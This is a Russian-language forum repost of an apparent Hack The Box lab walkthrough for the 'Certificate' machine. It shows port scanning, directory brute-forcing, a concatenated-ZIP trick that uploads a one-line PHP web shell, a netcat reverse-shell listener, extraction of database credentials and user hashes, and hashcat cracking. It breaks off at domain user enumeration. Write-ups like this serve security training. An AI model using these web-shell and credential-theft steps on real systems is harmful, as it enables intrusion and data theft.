• Что бы вступить в ряды "Принятый кодер" Вам нужно:
    Написать 10 полезных сообщений или тем и Получить 10 симпатий.
    Для того кто не хочет терять время,может пожертвовать средства для поддержки сервеса, и вступить в ряды VIP на месяц, дополнительная информация в лс.

  • Пользаватели которые будут спамить, уходят в бан без предупреждения. Спам сообщения определяется администрацией и модератором.

  • Гость, Что бы Вы хотели увидеть на нашем Форуме? Изложить свои идеи и пожелания по улучшению форума Вы можете поделиться с нами здесь. ----> Перейдите сюда
  • Все пользователи не прошедшие проверку электронной почты будут заблокированы. Все вопросы с разблокировкой обращайтесь по адресу электронной почте : info@guardianelinks.com . Не пришло сообщение о проверке или о сбросе также сообщите нам.

HTB Certificate. Захватываем домен при помощи техники Golden Certificate

Sascha Оффлайн

Sascha

Заместитель Администратора
Команда форума
Администратор
Регистрация
9 Май 2015
Сообщения
1,562
Баллы
155
Сегодня я покажу, как использовать привилегию SeManageVolume для получения «золотого сертификата» и захвата домена на Windows. Перед этим нас ждет череда других уязвимостей: мы загрузим склеенные ZIP-архивы на сайт, чтобы обойти фильтр, получим шелл, вытащим учетки из базы данных, проанализируем трафик для атаки на Kerberos и применим технику ESC3 AD CS.

Наша конечная цель — получение прав суперпользователя на машине Certificate с учебной площадки

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

. Уровень задания — сложный.

warning


Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка

Сканирование портов


Добавляем IP-адрес машины в /etc/hosts:


10.10.11.71 certificate.htb


И запускаем сканирование портов.

Справка: сканирование портов


Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:


#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '

' ',' | sed s/,$//)

nmap -p$ports -A $1


Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта

Результат работы скрипта

Сканер нашел 13 открытых портов:

  • 80 (HTTP) — веб‑сервер Apache 2.4.58;
  • 88 — Kerberos;
  • 135 — Microsoft RPC;
  • 139 — NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 5985 — WinRM;
  • 9389 — веб‑службы AD DS.

Добавляем имя контроллера домена в файл /etc/hosts.


10.10.11.71 certificate.htb dc01.certificate.htb


На хосте работает веб‑сервер, поэтому сразу просмотрим сайт.

Главная страница сайта

Главная страница сайта
Точка входа


На сайте можно зарегистрироваться, обязательно сделаем это, чтобы иметь максимум возможностей.

Регистрация пользователя

Регистрация пользователя

На сайте ничего интересного найти не удалось, поэтому приступим к сканированию каталогов при помощи feroxbuster.

Справка: сканирование веба c feroxbuster


Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

,

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

или

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

. Я предпочитаю

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

.

При запуске указываем следующие параметры:

  • -u — URL;
  • -d — глубина сканирования;
  • -t — количество потоков;
  • -w — словарь (я использую словари из набора

    Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

    ).

Задаем все параметры и запускаем сканер:


feroxbuster -u

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

-d 1 -t 128 -w php_files_common.txt

Результат сканирования каталогов с помощью feroxbuster

Результат сканирования каталогов с помощью feroxbuster

Находим интересные страницы вроде db.php, которая говорит об использовании базы данных, а также upload.php — для загрузки файлов. Но сама страница требует дополнительные параметры.

Содержимое страницы upload.php

Содержимое страницы upload.php

Осматриваемся на сайте и находим страницу с курсами. При переходе к определенному курсу появляется страница с формой загрузки файла.

Страница курса

Страница курса
Форма загрузки файла

Форма загрузки файла
Точка опоры


Файл принимает офисные документы и ZIP-архивы. При попытке загрузить на сервер веб‑шелл в архиве получаем ошибку с пометкой о вредоносном контенте.

Ответ сервера

Ответ сервера

Однако можно воспользоваться техникой

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

, при которой два архива будут записаны подряд в одном файле. Проверяться будет первый архив, а файлы получим из второго.


# <?=`$_GET[0]`?>

echo -n qweqwe > file.pdf

zip file.zip file.pdf

zip shell.zip shell.php

cat file.zip shell.zip > all.zip

Результат загрузки файла

Результат загрузки файла

При просмотре в адресной строке видим путь к файлу.

Путь к файлу

Путь к файлу

Теперь вместо file.pdf указываем свой реверс‑шелл shell.php и команду whoami.

Результат выполнения команды whoami

Результат выполнения команды whoami

Запускаем листенер:


rlwrap nc -nlvp 4321


И выполняем реверс‑шелл, чтобы получить удобную командную оболочку. Получаем сессию от имени учетной записи xamppuser.

Сессия пользователя xamppuser

Сессия пользователя xamppuser
Продвижение

Пользователь Sara.B


Веб‑приложение использует базу данных, и в файле db.php лежат учетные данные от нее — без проблем получаем их.

Содержимое файла db.php

Содержимое файла db.php

В XAMPP входят утилиты для работы с базами данных MySQL, можем ими воспользоваться.

Содержимое каталога xampp

Содержимое каталога xampp

Первым делом получим список баз данных.


mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "show databases;"

Базы данных

Базы данных

Перспективнее всего выглядит certificate_webapp_db. Запрашиваем список таблиц этой базы данных.


mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "use certificate_webapp_db; show tables;"

Таблицы в базе certificate_webapp_db

Таблицы в базе certificate_webapp_db

В таблице users, скорее всего, лежат учетные данные пользователей. Посмотрим поближе.


mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "use certificate_webapp_db; select * from users;"

Содержимое таблицы users

Содержимое таблицы users

Сохраним хеши пользователей, у которых почта на домене certificate.htb, и пробрутим с помощью hashcat.


hashcat -m 3200 hashes.txt rockyou.txt

Результат подбора пароля

Результат подбора пароля

У нас один пароль, поэтому получим список пользователей домена и сохраним в файл.


net users /domain

Пользователи домена

Пользователи домена

Источник:

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

 
Вверх Снизу